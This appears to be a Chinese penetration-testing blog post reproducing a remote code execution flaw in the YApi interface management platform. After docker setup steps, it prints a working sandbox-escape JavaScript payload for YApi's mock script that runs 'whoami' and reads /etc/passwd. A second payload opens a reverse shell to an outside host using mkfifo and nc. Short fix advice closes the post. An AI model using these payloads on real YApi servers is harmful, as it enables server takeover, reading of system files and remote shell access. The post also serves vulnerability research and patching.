1. 首页
  2. 渗透测试

YApi 接口管理平台 漏洞复现

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

YApi 接口管理平台 漏洞复现

1.漏洞描述

YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。 Github地址:https://github.com/jinfeijie/yapi

2.影响版本

全版本

3.漏洞复现

使用docker安装 yapi

2.1安装启动 mongodb

sudo docker run -d --name mongo-yapi mongo

2.2 获取yapi镜像

sudo  docker pull registry.cnhangzhou.aliyuncs.com/anoy/yapi

2.2 初始化数据索引和管理账号密码

sudo docker run -it --rm --link mongo-yapi:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server

2.3 启动yapi服务

sudo docker run -d –name yapi –link mongo-yapi:mongo –workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js

2.4 访问

访问 http://localhost:3000 登录账号 admin@admin.com,密码 ymfe.org
YApi 接口管理平台 漏洞复现

2.5 注册账号和密码

YApi 接口管理平台 漏洞复现

2.6 创建项目 创建接口

YApi 接口管理平台 漏洞复现
YApi 接口管理平台 漏洞复现
const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("whoami&& cat /etc/passwd").toString()
YApi 接口管理平台 漏洞复现

保存访问url

http://192.168.0.115:3000/mock/16/moonsec/moonsec
YApi 接口管理平台 漏洞复现

2.7 创建反弹shell

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.182 9999 >/tmp/f").toString()
nc -lvnp 9999
YApi 接口管理平台 漏洞复现

5.漏洞修复

1.关闭用户注册

2.升级到最新版本

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/3195.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息